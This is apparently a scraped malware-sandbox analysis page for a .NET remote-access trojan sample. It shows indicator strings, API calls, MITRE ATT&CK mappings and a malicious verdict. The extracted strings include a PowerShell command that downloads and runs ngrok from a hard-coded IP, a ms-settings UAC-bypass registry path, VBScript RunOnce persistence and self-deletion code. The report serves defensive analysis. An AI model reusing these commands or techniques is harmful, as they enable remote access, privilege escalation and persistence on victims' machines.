"00000000-00003440.00000002.75822.00F52000.00000020.mdmp"), Found reference to API "sys.DeleteFile WScript.ScriptFullName" (Indicator: "DeleteFile"; File: "00000000-00003440.00000002.75822.00F52000.00000020.mdmp"), Found reference to API "CreateObject("Scripting.FileSystemObject").DeleteFile WScript.ScriptFullName" (Indicator: "DeleteFile"; Source: "00000000-00003440.00000000.71982.00F52000.00000020.mdmp 00000000-00003440.00000001.73903.00F52000.00000020.mdmp 00000000-00003440.00000002.75822.00F52000.00000020.mdmp"), Found reference to API "HiddenStartfilesys.DeleteFile WScript.ScriptFullName" (Indicator: "DeleteFile"; Source: "00000000-00003440.00000000.71982.00F52000.00000020.mdmp 00000000-00003440.00000001.73903.00F52000.00000020.mdmp 00000000-00003440.00000002.75822.00F52000.00000020.mdmp"), Found reference to API "filesys.DeleteFile WScript.ScriptFullName" (Indicator: "DeleteFile"; Source: "00000000-00003440.00000000.71982.00F52000.00000020.mdmp 00000000-00003440.00000001.73903.00F52000.00000020.mdmp 00000000-00003440.00000002.75822.00F52000.00000020.mdmp"), Found reference to API "DeleteFile" (Indicator: "DeleteFile"; Source: "00000000-00003440.00000000.71982.00F52000.00000020.mdmp 00000000-00003440.00000001.73903.00F52000.00000020.mdmp 00000000-00003440.00000002.75822.00F52000.00000020.mdmp")5b:T4c1,Found reference to API "UnhookWindowsHookEx" (Indicator: "UnhookWindowsHook"; File: "d79a203caba18b6e1190b0022296d56f96253d4fb39b96aaaeaaa02241f28b16.bin") Found reference to API "SetWindowsHookEx" (Indicator: "SetWindowsHook"; File: "d79a203caba18b6e1190b0022296d56f96253d4fb39b96aaaeaaa02241f28b16.bin") Found reference to API "CallNextHookEx" (Indicator: "CallNextHook"; File: "d79a203caba18b6e1190b0022296d56f96253d4fb39b96aaaeaaa02241f28b16.bin") Found reference to API "UnhookWindowsHookEx" (Indicator: "UnhookWindowsHook"; Source: "00000000-00003440.00000000.71982.00F52000.00000020.mdmp, 00000000-00003440.00000001.73903.00F52000.00000020.mdmp, 00000000-00003440.00000002.75822.00F52000.00000020.mdmp") Found reference to API "SetWindowsHookEx" (Indicator: "SetWindowsHook"; Source: "00000000-00003440.00000000.71982.00F52000.00000020.mdmp, 00000000-00003440.00000001.73903.00F52000.00000020.mdmp, 00000000-00003440.00000002.75822.00F52000.00000020.mdmp") Found reference to API "CallNextHookEx" (Indicator: "CallNextHook"; Source: "00000000-00003440.00000000.71982.00F52000.00000020.mdmp, 00000000-00003440.00000001.73903.00F52000.00000020.mdmp, 00000000-00003440.00000002.75822.00F52000.00000020.mdmp")5c:T682,Found reference to API "RevertToSelf" (Indicator: "RevertToSelf"; File: "d79a203caba18b6e1190b0022296d56f96253d4fb39b96aaaeaaa02241f28b16.bin") Found reference to API "DuplicateToken" (Indicator: "DuplicateToken"; File: "d79a203caba18b6e1190b0022296d56f96253d4fb39b96aaaeaaa02241f28b16.bin") Found reference to API "GetKernelObjectSecurity" (Indicator: "GetKernelObjectSecurity"; File: "d79a203caba18b6e1190b0022296d56f96253d4fb39b96aaaeaaa02241f28b16.bin") Found reference to API "SetKernelObjectSecurity" (Indicator: "SetKernelObjectSecurity"; File: "d79a203caba18b6e1190b0022296d56f96253d4fb39b96aaaeaaa02241f28b16.bin") Found reference to API "RevertToSelf" (Indicator: "RevertToSelf"; Source: "00000000-00003440.00000000.71982.00F52000.00000020.mdmp, 00000000-00003440.00000001.73903.00F52000.00000020.mdmp, 00000000-00003440.00000002.75822.00F52000.00000020.mdmp") Found reference to API "DuplicateToken" (Indicator: "DuplicateToken"; Source: "00000000-00003440.00000000.71982.00F52000.00000020.mdmp, 00000000-00003440.00000001.73903.00F52000.00000020.mdmp, 00000000-00003440.00000002.75822.00F52000.00000020.mdmp") Found reference to API "GetKernelObjectSecurity" (Indicator: "GetKernelObjectSecurity"; Source: "00000000-00003440.00000000.71982.00F52000.00000020.mdmp, 00000000-00003440.00000001.73903.00F52000.00000020.mdmp, 00000000-00003440.00000002.75822.00F52000.00000020.mdmp") Found reference to API "SetKernelObjectSecurity" (Indicator: "SetKernelObjectSecurity"; Source: "00000000-00003440.00000000.71982.00F52000.00000020.mdmp, 00000000-00003440.00000001.73903.00F52000.00000020.mdmp, 00000000-00003440.00000002.75822.00F52000.00000020.mdmp")5d:T1838,".exe" called "NtMapViewOfSection" with parameters {"SectionHandle": "16" "ProcessHandle": "4294967295" "ZeroBits": "0" "CommitSize": "0" "ViewSize": "303104" "InheritDisposition": "1" "AllocationType": "0" "Protect": "4"} ".exe" called "NtMapViewOfSection" with parameters {"SectionHandle": "12" "ProcessHandle": "4294967295" "ZeroBits": "0" "CommitSize": "0" "ViewSize": "872448" "InheritDisposition": "1" "AllocationType": "0" "Protect": "4" "$name": "C:\\Windows\\System32\\mscoree.dll"} ".exe" called "NtMapViewOfSection" with parameters {"SectionHandle": "12" "ProcessHandle": "4294967295" "ZeroBits": "0" "CommitSize": "0" "ViewSize": "307200" "InheritDisposition": "1" "AllocationType": "0" "Protect": "4" "$name": "C:\\Windows\\System32\\mscoree.dll"} ".exe" called "NtMapViewOfSection" with parameters {"SectionHandle": "12" "ProcessHandle": "4294967295" "ZeroBits": "0" "CommitSize": "0" "ViewSize": "1048576" "InheritDisposition": "2" "AllocationType": "4194304" "Protect": "2" "$name": "C:\\Windows\\System32\\mscoree.dll"} ".exe" called "NtMapViewOfSection" with parameters {"SectionHandle": "28" "ProcessHandle": "4294967295" "ZeroBits": "0" "CommitSize": "0" "ViewSize": "659456" "InheritDisposition": "1" "AllocationType": "0" "Protect": "4" "$name": "C:\\Windows\\System32\\sechost.dll"} ".exe" called "NtMapViewOfSection" with parameters {"SectionHandle": "28" "ProcessHandle": "4294967295" "ZeroBits": "0" "CommitSize": "0" "ViewSize": "704512" "InheritDisposition": "1" "AllocationType": "0" "Protect": "4" "$name": "C:\\Windows\\System32\\sechost.dll"} ".exe" called "NtMapViewOfSection" with parameters {"SectionHandle": "108" "ProcessHandle": "4294967295" "ZeroBits": "0" "CommitSize": "0" "ViewSize": "286720" "InheritDisposition": "1" "AllocationType": "0" "Protect": "4"} ".exe" called "NtMapViewOfSection" with parameters {"SectionHandle": "104" "ProcessHandle": "4294967295" "ZeroBits": "0" "CommitSize": "0" "ViewSize": "217088" "InheritDisposition": "1" "AllocationType": "0" "Protect": "4" "$name": "C:\\Windows\\Temp\\VxSSL32.dll"} ".exe" called "NtMapViewOfSection" with parameters {"SectionHandle": "104" "ProcessHandle": "4294967295" "ZeroBits": "0" "CommitSize": "0" "ViewSize": "24576" "InheritDisposition": "1" "AllocationType": "0" "Protect": "4" "$name": "C:\\Windows\\Temp\\VxSSL32.dll"} ".exe" called "NtMapViewOfSection" with parameters {"SectionHandle": "108" "ProcessHandle": "4294967295" "ZeroBits": "0" "CommitSize": "0" "ViewSize": "577536" "InheritDisposition": "1" "AllocationType": "0" "Protect": "4"} ".exe" called "NtMapViewOfSection" with parameters {"SectionHandle": "120" "ProcessHandle": "4294967295" "ZeroBits": "0" "CommitSize": "0" "ViewSize": "356352" "InheritDisposition": "1" "AllocationType": "0" "Protect": "4"} ".exe" called "NtMapViewOfSection" with parameters {"SectionHandle": "132" "ProcessHandle": "4294967295" "ZeroBits": "0" "CommitSize": "0" "ViewSize": "1089536" "InheritDisposition": "1" "AllocationType": "0" "Protect": "2"} ".exe" called "NtMapViewOfSection" with parameters {"SectionHandle": "128" "ProcessHandle": "4294967295" "ZeroBits": "0" "CommitSize": "0" "ViewSize": "1089536" "InheritDisposition": "1" "AllocationType": "0" "Protect": "2" "$name": "C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\clr.dll"} ".exe" called "NtMapViewOfSection" with parameters {"SectionHandle": "132" "ProcessHandle": "4294967295" "ZeroBits": "0" "CommitSize": "0" "ViewSize": "36864" "InheritDisposition": "1" "AllocationType": "0" "Protect": "4"} ".exe" called "NtMapViewOfSection" with parameters {"SectionHandle": "132" "ProcessHandle": "4294967295" "ZeroBits": "0" "CommitSize": "0" "ViewSize": "8056832" "InheritDisposition": "1" "AllocationType": "0" "Protect": "4"} ".exe" called "NtMapViewOfSection" with parameters {"SectionHandle": "132" "ProcessHandle": "4294967295" "ZeroBits": "0" "CommitSize": "0" "ViewSize": "81920" "InheritDisposition": "1" "AllocationType": "0" "Protect": "4"} ".exe" called "NtMapViewOfSection" with parameters {"SectionHandle": "132" "ProcessHandle": "4294967295" "ZeroBits": "0" "CommitSize": "0" "ViewSize": "700416" "InheritDisposition": "1" "AllocationType": "0" "Protect": "4"} ".exe" called "NtMapViewOfSection" with parameters {"SectionHandle": "172" "ProcessHandle": "4294967295" "ZeroBits": "0" "CommitSize": "0" "ViewSize": "4096" "InheritDisposition": "1" "AllocationType": "0" "Protect": "4"} ".exe" called "NtMapViewOfSection" with parameters {"SectionHandle": "176" "ProcessHandle": "4294967295" "ZeroBits": "0" "CommitSize": "0" "ViewSize": "65536" "InheritDisposition": "1" "AllocationType": "0" "Protect": "4"} ".exe" called "NtMapViewOfSection" with parameters {"SectionHandle": "264" "ProcessHandle": "4294967295" "ZeroBits": "0" "CommitSize": "0" "ViewSize": "20480" "InheritDisposition": "1" "AllocationType": "0" "Protect": "4"} ".exe" called "NtMapViewOfSection" with parameters {"SectionHandle": "352" "ProcessHandle": "4294967295" "ZeroBits": "0" "CommitSize": "0" "ViewSize": "2945024" "InheritDisposition": "1" "AllocationType": "0" "Protect": "2"} ".exe" called "NtMapViewOfSection" with parameters {"SectionHandle": "428" "ProcessHandle": "4294967295" "ZeroBits": "0" "CommitSize": "0" "ViewSize": "21016576" "InheritDisposition": "1" "AllocationType": "0" "Protect": "4" "$name": "\\Device\\KsecDD"} ".exe" called "NtMapViewOfSection" with parameters {"SectionHandle": "424" "ProcessHandle": "4294967295" "ZeroBits": "0" "CommitSize": "0" "ViewSize": "380928" "InheritDisposition": "1" "AllocationType": "0" "Protect": "2" "$name": "C:\\Windows\\assembly\\NativeImages_v4.0.30319_32\\mscorlib\\36eaccfde177c2e7b93b8dbdde4e012a\\mscorlib.ni.dll"}5e:T72e,Observed string: "ms-settings\Shell\Open\command" (Indicator: "ms-settings\shell\open") in Source: d79a203caba18b6e1190b0022296d56f96253d4fb39b96aaaeaaa02241f28b16.bin Observed string: "Software\Classes\ms-settings\Shell\Open\command" (Indicator: "ms-settings\shell\open") in Source: d79a203caba18b6e1190b0022296d56f96253d4fb39b96aaaeaaa02241f28b16.bin Observed string: "Classes\ms-settings\shell\open" (Indicator: "ms-settings\shell\open") in Source: d79a203caba18b6e1190b0022296d56f96253d4fb39b96aaaeaaa02241f28b16.bin Observed string: "Classes\ms-settings\shell\open\command" (Indicator: "ms-settings\shell\open") in Source: d79a203caba18b6e1190b0022296d56f96253d4fb39b96aaaeaaa02241f28b16.bin Observed string: "ms-settings\shell\open" (Indicator: "ms-settings\shell\open") in Source: 00000000-00003440.00000002.75822.00F52000.00000020.mdmp Observed string: "es\ms-settings\shell\open\command" (Indicator: "ms-settings\shell\open") in Source: 00000000-00003440.00000002.75822.00F52000.00000020.mdmp Observed string: "oftware\Classes\ms-settings\Shell\Open\command" (Indicator: "ms-settings\shell\open") in Source: 00000000-00003440.00000000.71982.00F52000.00000020.mdmp 00000000-00003440.00000001.73903.00F52000.00000020.mdmp 00000000-00003440.00000002.75822.00F52000.00000020.mdmp Observed string: "lasses\ms-settings\shell\open" (Indicator: "ms-settings\shell\open") in Source: 00000000-00003440.00000000.71982.00F52000.00000020.mdmp 00000000-00003440.00000001.73903.00F52000.00000020.mdmp 00000000-00003440.00000002.75822.00F52000.00000020.mdmp Observed string: "lasses\ms-settings\shell\open\command" (Indicator: "ms-settings\shell\open") in Source: 00000000-00003440.00000000.71982.00F52000.00000020.mdmp 00000000-00003440.00000001.73903.00F52000.00000020.mdmp 00000000-00003440.00000002.75822.00F52000.00000020.mdmp5f:T7e4,"1.0.0.0" "16.0.0.0" "16.6.0.0" "4.0.0.0" "11.0.0.0" "16.8.1.0" "2.7.0.0" Potential IP "127.0.0.1" found in string "http://127.0.0.1:4040/api/tunnels" Potential IP "91.134.207.16" found in string "set downloadURL=http://91.134.207.16/update/ngrok.exe" Potential IP "127.0.0.1" found in string "http://127.0.0.1:4040/api" "8.8.8.8" "192.168.1.90" Potential IP "91.134.207.16" found in string "ogFile=%TEMP%\proclog.txtset exeFile=%TEMP%\ngrok.exeset logFile=%TEMP%\proclog.txtpowershell (new-object System.Net.WebClient).DownloadFile('http://91.134.207.16/update/ngrok.exe','%exeFile%');%exeFile% authtoken" Potential IP "91.134.207.16" found in string "t downloadURL=http://91.134.207.16/update/ngrok.exe" Potential IP "4.0.0.0" found in string "n=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089" />", Potential IP "4.0.0.0" found in string "=4.0.0.0 Culture=neutral PublicKeyToken=b03f5f7f11d50a3a" allowLocation="falB", Potential IP "4.0.0.0" found in string "=4.0.0.0 Culture=neutral PublicKeyToken=b77a5c561934e089" />" Potential IP "4.0.0.0" found in string "rsion=4.0.0.0, Culture=neu" Potential IP "4.0.0.0" found in string "rsion=4.0.0.0, Culture=neutral, PublicKeyToken=b03f5f7f11d50a3" Potential IP "4.0.0.0" found in string "n=4.0.0.0, C" Potential IP "4.0.0.0" found in string "n=4.0.0.0, Culture=neutral, PublicKeyToken=b03f5f7f11d50a3a" allowDefinition="MachineToApplication" />", Potential IP "4.0.0.0" found in string "sion=4.0.0.0 Culture=neutral PublicKeyToken=b77a5c561934e089"/>" Potential IP "127.0.0.1" found in string "ttp://127.0.0.1:4040/api/tunnels" Potential IP "91.134.207.16" found in string "et downloadURL=http://91.134.207.16/update/ngrok.exe" Potential IP "91.134.207.16" found in string "powershell (new-object System.Net.WebClient).DownloadFile('http://91.134.207.16/update/ngrok.exe','%exeFile%');" Potential IP "127.0.0.1" found in string "ttp://127.0.0.1:4040/api" "92.168.1.90" "2.5.29.10" "2.5.29.19" "2.5.29.14" "2.5.29.15" "2.5.29.37"60:T70d,Found string "root\CIMV2" (Indicator: "root\cimv2"; in File: "d79a203caba18b6e1190b0022296d56f96253d4fb39b96aaaeaaa02241f28b16.bin") Found string "on error resume next\r\nDo While True\r\n\r\nSet oReg = GetObject(\"winmgmts:{impersonationLevel=impersonate}!\\\\.\\root\\default:StdRegProv\")\r\noReg.GetStringValue &H80000001, \"Software\\Microsoft\\Windows\\CurrentVersion\\RunOnce\", \"" (Indicator: "winmgmts:"; in File: "d79a203caba18b6e1190b0022296d56f96253d4fb39b96aaaeaaa02241f28b16.bin"), Found string "on error resume next\r\nset objWMIService = GetObject (\"winmgmts:\")\r\nfoundProc = False\r\nprocName = \"" (Indicator: "winmgmts:"; in File: "d79a203caba18b6e1190b0022296d56f96253d4fb39b96aaaeaaa02241f28b16.bin") Found string "ume nextDo While TrueSet oReg = GetObject("winmgmts:{impersonationLevel=impersonate}!\\.\root\default:StdRegProv")oReg.GetStringValue &H80000001, "Software\Microsoft\Windows\CurrentVersion\RunOnce", "" (Indicator: "winmgmts:"; in File: "00000000-00003440.00000002.75822.00F52000.00000020.mdmp"), Found string "et objWMIService = GetObject ("winmgmts:")foundProc = FalseprocName = "" (Indicator: "winmgmts:"; in File: "00000000-00003440.00000002.75822.00F52000.00000020.mdmp") Found string "Set oReg = GetObject("winmgmts:{impersonationLevel=impersonate}!\\.\root\default:StdRegProv")" (Indicator: "winmgmts:"; in Source: "00000000-00003440.00000000.71982.00F52000.00000020.mdmp, 00000000-00003440.00000001.73903.00F52000.00000020.mdmp, 00000000-00003440.00000002.75822.00F52000.00000020.mdmp") Found string "set objWMIService = GetObject ("winmgmts:")" (Indicator: "winmgmts:"; in Source: "00000000-00003440.00000000.71982.00F52000.00000020.mdmp, 00000000-00003440.00000001.73903.00F52000.00000020.mdmp, 00000000-00003440.00000002.75822.00F52000.00000020.mdmp")61:Te5a,Found string "Sleep" (Source: d79a203caba18b6e1190b0022296d56f96253d4fb39b96aaaeaaa02241f28b16.bin, API is part of module: KERNELBASE.DLL) Found string "GetCurrentProcess" (Source: d79a203caba18b6e1190b0022296d56f96253d4fb39b96aaaeaaa02241f28b16.bin, API is part of module: KERNELBASE.DLL) Found string "LoadLibraryA" (Source: d79a203caba18b6e1190b0022296d56f96253d4fb39b96aaaeaaa02241f28b16.bin, API is part of module: KERNEL32.DLL) Found string "DeleteDC" (Source: d79a203caba18b6e1190b0022296d56f96253d4fb39b96aaaeaaa02241f28b16.bin, API is part of module: GDI32.DLL) Found string "GetMenuItemID" (Source: d79a203caba18b6e1190b0022296d56f96253d4fb39b96aaaeaaa02241f28b16.bin, API is part of module: USER32.DLL) Found string "CreateDesktopW" (Source: d79a203caba18b6e1190b0022296d56f96253d4fb39b96aaaeaaa02241f28b16.bin, API is part of module: USER32.DLL) Found string "GetWindowTextW" (Source: d79a203caba18b6e1190b0022296d56f96253d4fb39b96aaaeaaa02241f28b16.bin, API is part of module: USER32.DLL) Found string "GetCurrentThreadId" (Source: d79a203caba18b6e1190b0022296d56f96253d4fb39b96aaaeaaa02241f28b16.bin, API is part of module: KERNELBASE.DLL) Found string "GetWindowThreadProcessId" (Source: d79a203caba18b6e1190b0022296d56f96253d4fb39b96aaaeaaa02241f28b16.bin, API is part of module: USER32.DLL) Found string "ResumeThread" (Source: d79a203caba18b6e1190b0022296d56f96253d4fb39b96aaaeaaa02241f28b16.bin, API is part of module: KERNELBASE.DLL) Found string "IsWindowVisible" (Source: d79a203caba18b6e1190b0022296d56f96253d4fb39b96aaaeaaa02241f28b16.bin, API is part of module: USER32.DLL) Found string "CloseHandle" (Source: d79a203caba18b6e1190b0022296d56f96253d4fb39b96aaaeaaa02241f28b16.bin, API is part of module: KERNELBASE.DLL) Found string "WriteFile" (Source: d79a203caba18b6e1190b0022296d56f96253d4fb39b96aaaeaaa02241f28b16.bin, API is part of module: KERNELBASE.DLL) Found string "MkParseDisplayName" (Source: d79a203caba18b6e1190b0022296d56f96253d4fb39b96aaaeaaa02241f28b16.bin, API is part of module: OLE32.DLL) Found string "OleCreatePropertyFrame" (Source: d79a203caba18b6e1190b0022296d56f96253d4fb39b96aaaeaaa02241f28b16.bin, API is part of module: OLEAUT32.DLL) Found string "GetDoubleClickTime" (Source: d79a203caba18b6e1190b0022296d56f96253d4fb39b96aaaeaaa02241f28b16.bin, API is part of module: USER32.DLL) Found string "LockWindowUpdate" (Source: d79a203caba18b6e1190b0022296d56f96253d4fb39b96aaaeaaa02241f28b16.bin, API is part of module: USER32.DLL) Found string "GetKeyboardState" (Source: d79a203caba18b6e1190b0022296d56f96253d4fb39b96aaaeaaa02241f28b16.bin, API is part of module: USER32.DLL) Found string "SetThreadExecutionState" (Source: d79a203caba18b6e1190b0022296d56f96253d4fb39b96aaaeaaa02241f28b16.bin, API is part of module: KERNEL32.DLL) Found string "GetKeyState" (Source: d79a203caba18b6e1190b0022296d56f96253d4fb39b96aaaeaaa02241f28b16.bin, API is part of module: USER32.DLL) Found string "RevertToSelf" (Source: d79a203caba18b6e1190b0022296d56f96253d4fb39b96aaaeaaa02241f28b16.bin, API is part of module: ADVAPI32.DLL) Found string "ToAscii" (Source: d79a203caba18b6e1190b0022296d56f96253d4fb39b96aaaeaaa02241f28b16.bin, API is part of module: USER32.DLL) Found string "clock" (Source: d79a203caba18b6e1190b0022296d56f96253d4fb39b96aaaeaaa02241f28b16.bin, API is part of module: UCRTBASE_CLR0400.DLL) Found string "RtlSetProcessIsCritical" (Source: d79a203caba18b6e1190b0022296d56f96253d4fb39b96aaaeaaa02241f28b16.bin, API is part of module: NTDLL.DLL) Found string "QueueUserWorkItem" (Source: d79a203caba18b6e1190b0022296d56f96253d4fb39b96aaaeaaa02241f28b16.bin, API is part of module: KERNEL32.DLL)62:T402,"http://api.ipify.org/" (Indicator: "api.ipify.org"; File: "d79a203caba18b6e1190b0022296d56f96253d4fb39b96aaaeaaa02241f28b16.bin") "https://whatismyipaddress.com/update-location" (Indicator: "myipaddress.com"; File: "6000864-_~_") "http://ip-api.com/json/" (Indicator: "ip-api.com"; File: "6000920-_~_") "ttps://whatismyipaddress.com/update-location" (Indicator: "myipaddress.com"; File: "00000000-00003440.00000000.71982.00F52000.00000020.mdmp, 00000000-00003440.00000001.73903.00F52000.00000020.mdmp, 00000000-00003440.00000002.75822.00F52000.00000020.mdmp") "ttp://ip-api.com/json/" (Indicator: "ip-api.com"; File: "00000000-00003440.00000000.71982.00F52000.00000020.mdmp, 00000000-00003440.00000001.73903.00F52000.00000020.mdmp, 00000000-00003440.00000002.75822.00F52000.00000020.mdmp") "ttp://api.ipify.org/" (Indicator: "api.ipify.org"; File: "00000000-00003440.00000000.71982.00F52000.00000020.mdmp, 00000000-00003440.00000001.73903.00F52000.00000020.mdmp, 00000000-00003440.00000002.75822.00F52000.00000020.mdmp")63:T590,iVBORw0KGgoAAAANSUhEUgAAACAAAAAgCAYAAABzenr0AAAD80lEQVR4Xu2W21cTVxTG/b/6Tq22VuSi4DWiLXYtXAoiIOiChNwDMQawSDCESwiEgNTWVmpfbSH2wSf7ZN/oCyHJZGYyueDXfWZIMkwyQmwXfaiz1rfO5JyZs3/7O/ucyZEjH6//+rI63RgYtB2qBi0OFAEsNgf+eLuJ12/+JL39V/V1t6diyyBKDtiH8et69B9pfeMVNqK/Y+OVonW6/436mLTPMu0BMJkdSAlpZDMSMlL6A6S8J1WQ9lkWQ8zktAB2ufMwVQaQy+flgbW1l3jxy+sDae3nl8jnsrKi0WhFFTL/5NqULHZfESC/C8AmrutbQv3dMBr6F9FoXMBpcwhnrCE0O4NoHprDOc8Mznun5Wf/2txEJi2UWa1VVQCXbKswOJ7A4FxBy/AyrngiuOpdwldji2gdX8A1Xwjf+OdVAHxZ5lU5wH7sqADavD+gbfR7XH/4FDcekXyraPc/QUdgBbdml9EZjKBrIVwEyBIAm1iSRKVNK63WgRrTqD4ALyoDbNKuyefo8f+EnsCP6J19hpsU/Lo/jNbJIC5P+GHwTaJlylcCEIWyzLUOsOAnHzr1ATheLAIYgy9wb+45WkZCOGGbwKeWEXzmeIDjQx58ft+NE94hnBxzqgB2HaDM5e3HWo0LLHjzXP/BANoff4fj5nHUDI7iqM2LY04KPnwfXzwYxpejLnmyU4/sKoBUWeZaB1jw1mdt+gApFUCNcUzJ2k7Bi1lT8DEXar914NSEDfWPLXtqQKLDKC3q7wYW/P0AQgngqHXXcpa1h4KPDMlZ147bUeezosFvxumAqbQLxP13wQEASkV4zEVZu1WWs6zJ8vpJKxqnBnFm2ogmsrQIIPBVHeP7AqgLrXbcgTqyvIEsbwxQ8JkBWs97OBfqq+ocqApAXWj1BcunTWia7cfZ4F2cX+jFxXD3HoDM7g7QBqukfQHUhSZbPmNUsp7vw4XFO7i41A3DcmcRIE01wApQu/WYWJ9IYxzHIZFIIJmI7w+gLrSm2QHKmlneiwvhHlyKdOHySidaVjuKANJ7tqGUpnkJMJlMIB6PIxHf1gFQnYTqQjs7zyy/I1tuiNym4LdwZbUdV5/eUAFwFbMvOCBQkbLMY7EYtrdjlQEEUfmjMD2zLE98EE0FIsoSCPpFKPA8UlySAm8rADEdgGRKcYB929mk1UhIlRxgLasHnk+BSynrzrLe2tqSpQsQ59LyJxk7GWQlHkAWyFNfRkCOhB2J+t6Rdkh5ZRwZvMspRVY4/9OiCJ4cSVFwjjJP0Nqz9S+IuaELwAYOS3sA2H/0vgGz3PkhMtH7FrsLdpcbVocbZqsTxgrPqXWz43YJ4OP1v7/+BnvlpAT3X7SfAAAAAElFTkSuQmCC1d:["$","$L2",null,{"children":[["$","script",null,{"type":"application/ld+json","dangerouslySetInnerHTML":{"__html":"$25"}}],["$","$L26",null,{"initialData":{"schema_version":"1.0.15","sha256":"d79a203caba18b6e1190b0022296d56f96253d4fb39b96aaaeaaa02241f28b16","overall_status":"SUCCESS","all_analysis_status":{"qsp_status":"NOT_AVAILABLE","sandbox_status":"SUCCESS","fastscan_status":"SUCCESS"},"verdict":"malicious","threat_score":100,"unified_at_epoch_ms":1792670068131,"unified_at":"2026-10-22T11:54:28.131Z","metadata":{"hashes":{"sha256":"d79a203caba18b6e1190b0022296d56f96253d4fb39b96aaaeaaa02241f28b16","sha1":"dbb6b1d490b64e9b1260d0ad55cd2fe1d776586f","md5":"7a98ca652a682ae96bc3f9ac6d554d82","sha512":"6fd10b572f7c39fc2b33d57957f1c36102da158a22a5b4d855736dd5ed92a3ba5d945662d11ad2b69f845f16c48a9875258fa2cdc80089cd5863c7980d21ce9f","ssdeep":"24576:t+ynkc1ZzBvtrZHFjMKY2naU8elKA9eaZYZg+ryTh:4ynkc1ZzBvtrZHFjMKY2nb8elKAgaZXN","ssdeep_chunks":["24576:t+ynkc1","24576:+ynkc1Z","24576:ynkc1Zz","24576:nkc1ZzB","24576:kc1ZzBv","24576:c1ZzBvt","24576:1ZzBvtr","24576:ZzBvtrZ","24576:zBvtrZH","24576:BvtrZHF","24576:vtrZHFj","24576:trZHFjM","24576:rZHFjMK","24576:ZHFjMKY","24576:HFjMKY2","24576:FjMKY2n","24576:jMKY2na","24576:MKY2naU","24576:KY2naU8","24576:Y2naU8e","24576:2naU8el","24576:naU8elK","24576:aU8elKA","24576:U8elKA9","24576:8elKA9e","24576:elKA9ea","24576:lKA9eaZ","24576:KA9eaZY","24576:A9eaZYZ","24576:9eaZYZg","24576:eaZYZg+","24576:aZYZg+r","24576:ZYZg+ry","24576:YZg+ryT","24576:Zg+ryTh","49152:t+ynkc1","49152:+ynkc1Z","49152:ynkc1Zz","49152:nkc1ZzB","49152:kc1ZzBv","49152:c1ZzBvt","49152:1ZzBvtr","49152:ZzBvtrZ","49152:zBvtrZH","49152:BvtrZHF","49152:vtrZHFj","49152:trZHFjM","49152:rZHFjMK","49152:ZHFjMKY","49152:HFjMKY2","49152:FjMKY2n","49152:jMKY2na","49152:MKY2naU","49152:KY2naU8","49152:Y2naU8e","49152:2naU8el","49152:naU8elK","49152:aU8elKA","49152:U8elKA9","49152:8elKA9e","49152:elKA9ea","49152:lKA9eaZ","49152:KA9eaZY","49152:A9eaZYZ","49152:9eaZYZg","49152:eaZYZg+","49152:aZYZg+r","49152:ZYZg+ry","49152:YZg+ryT","49152:Zg+ryTh","24576:4ynkc1Z","24576:jMKY2nb","24576:MKY2nb8","24576:KY2nb8e","24576:Y2nb8el","24576:2nb8elK","24576:nb8elKA","24576:b8elKAg","24576:8elKAga","24576:elKAgaZ","24576:lKAgaZX","24576:KAgaZXN"],"imphash":"f34d5f2d4577ed6d9ceec516c1f5a744"},"file_info":{"file_name":"xlOcnre5N2Id.exe","file_type":["peexe","assembly","executable"],"file_type_id":".NET exe","file_size":1085952,"is_container_sample":false,"url_analysis":false},"submissions":{"first_seen":1685115309000,"last_seen":1689260604000,"last_multi_scan":1689260604000}},"detections":{"summary":{"verdict":"malicious","score":100,"tags":["agent","banker","clipbanker","commodity","mineware","ransomware","rat","sabsik","venomrat","njrat","quasarrat","evasive"]},"stats":{"av":{"malicious_count":0,"suspicious_count":0,"total_engines":0},"attributions":{"malware_families_count":0,"threat_actors_count":0,"campaigns_count":0,"threat_types_count":0,"cves_count":0},"mitre_attacks":{"total":77},"sandbox_signatures":{"informative_count":169,"suspicious_count":9,"malicious_count":5,"total":183},"rule_matches":{"yara_count":0,"sigma_count":0,"suricata_count":0}},"av_detections":{"engines":{}},"rule_matches":{},"attributions":{},"mitre_attacks":[{"tactic":"Initial Access","technique":"Replication Through Removable Media","attack_id":"T1091","attack_id_wiki":"https://attack.mitre.org/techniques/T1091","sources":[{"report_type":"sandbox","report_id":"6470d528bdb298a84104e4a0"}]},{"tactic":"Execution","technique":"Native API","attack_id":"T1106","attack_id_wiki":"https://attack.mitre.org/techniques/T1106","identifiers":[{"type":"informative","value":"Calls an API during runtime"},{"type":"informative","value":"Contains ability to execute Windows APIs"},{"type":"informative","value":"Contains NTDLL native APIs"},{"type":"informative","value":"Contains ability to create a new process (API string)"},{"type":"informative","value":"Contains ability to retrieve address of exported function from a DLL (API string)"},{"type":"informative","value":"Contains ability to execute application (Dotnet)"},{"type":"informative","value":"Found Native API in Dotnet file"},{"type":"informative","value":"Dotnet source code contains suspicious native API"},{"type":"suspicious","value":"Input file contains API references not part of its Import Address Table (IAT)"},{"type":"informative","value":"Calls an API typically used to retrieve function addresses"},{"type":"informative","value":"Contains ability to execute an application (API string)"},{"type":"informative","value":"Contains ability to set/get the last-error code for a calling thread (API string)"},{"type":"informative","value":"Contains ability to load modules (API string)"},{"type":"informative","value":"Contains ability to retrieve/modify process thread (API string)"}],"sources":[{"report_type":"sandbox","report_id":"6470d528bdb298a84104e4a0"}]},{"tactic":"Execution","technique":"Inter-Process Communication","attack_id":"T1559","attack_id_wiki":"https://attack.mitre.org/techniques/T1559","identifiers":[{"type":"informative","value":"Connects to LPC ports"}],"sources":[{"report_type":"sandbox","report_id":"6470d528bdb298a84104e4a0"}]},{"tactic":"Execution","technique":"Shared Modules","attack_id":"T1129","attack_id_wiki":"https://attack.mitre.org/techniques/T1129","identifiers":[{"type":"informative","value":"Loads the RPC (Remote Procedure Call) module DLL"},{"type":"informative","value":"Loads modules at runtime"},{"type":"informative","value":"Loads the .NET runtime environment"}],"sources":[{"report_type":"sandbox","report_id":"6470d528bdb298a84104e4a0"}]},{"tactic":"Execution","technique":"Scheduled Task","attack_id":"T1053.005","attack_id_wiki":"https://attack.mitre.org/techniques/T1053/005","identifiers":[{"type":"informative","value":"Contains ability to perform scheduled task-related activity (Powershell command string)"}],"sources":[{"report_type":"sandbox","report_id":"6470d528bdb298a84104e4a0"}]},{"tactic":"Execution","technique":"Component Object Model","attack_id":"T1559.001","attack_id_wiki":"https://attack.mitre.org/techniques/T1559/001","identifiers":[{"type":"informative","value":"Contains ability to retrieve type of COM 